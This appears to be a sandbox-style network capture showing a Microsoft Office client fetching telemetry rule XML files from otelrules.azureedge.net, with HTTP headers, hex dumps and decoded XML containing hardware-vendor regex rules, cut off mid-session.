SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49706	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:05 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:05 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 59158d4f-901e-00a0-5491-3f6a6d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100505Z-174f7845968nxc96hC1EWRspw80000000xyg000000008218 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:05 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:05 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:05 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100505Z-174f7845968zgtf6hC1EWRqd8s0000000r9000000000315t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:05 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:07 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:07 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 8ccd6c39-f01e-0085-6e81-3f88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100507Z-174f7845968xr5c2hC1EWRd0hn0000000f200000000084kn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:08 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:07 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:07 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: f5d49257-301e-005d-758c-3fe448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100507Z-174f7845968xlwnmhC1EWR0sv80000000xzg00000000az3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:08 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49710	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:07 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:08 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 1acdd965-601e-005c-618a-40f06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100508Z-174f7845968cdxdrhC1EWRg0en0000000y8g000000003ufn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:08 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49711	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:07 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:08 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 30944020-a01e-0053-5e8b-3f8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100508Z-174f7845968vqt9xhC1EWRgten0000000y6g00000000apz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:08 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49712	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:07 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:08 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:08 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 33ff7c98-601e-0097-063e-40f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100508Z-174f7845968xlwnmhC1EWR0sv80000000y0000000000a6ub x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:08 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:10 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100510Z-174f78459685726chC1EWRsnbg0000000ye0000000000gfu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:10 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.7	49716	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:10 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100510Z-174f7845968jrjrxhC1EWRmmrs0000000ydg000000004p52 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:10 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.7	49715	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:10 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:10 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6e10d19a-c01e-008e-0747-417381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100510Z-174f7845968zgtf6hC1EWRqd8s0000000r3g00000000am28 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:10 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.7	49714	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:10 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:10 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100510Z-174f7845968j6t2phC1EWRcfe80000000ygg000000001an3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:11 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.7	49717	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 10:05:10 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 10:05:11 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 10:05:10 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 352bf644-b01e-005c-8062-404c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T100510Z-174f7845968qj8jrhC1EWRh41s0000000y7g000000004ah8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 10:05:11 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" 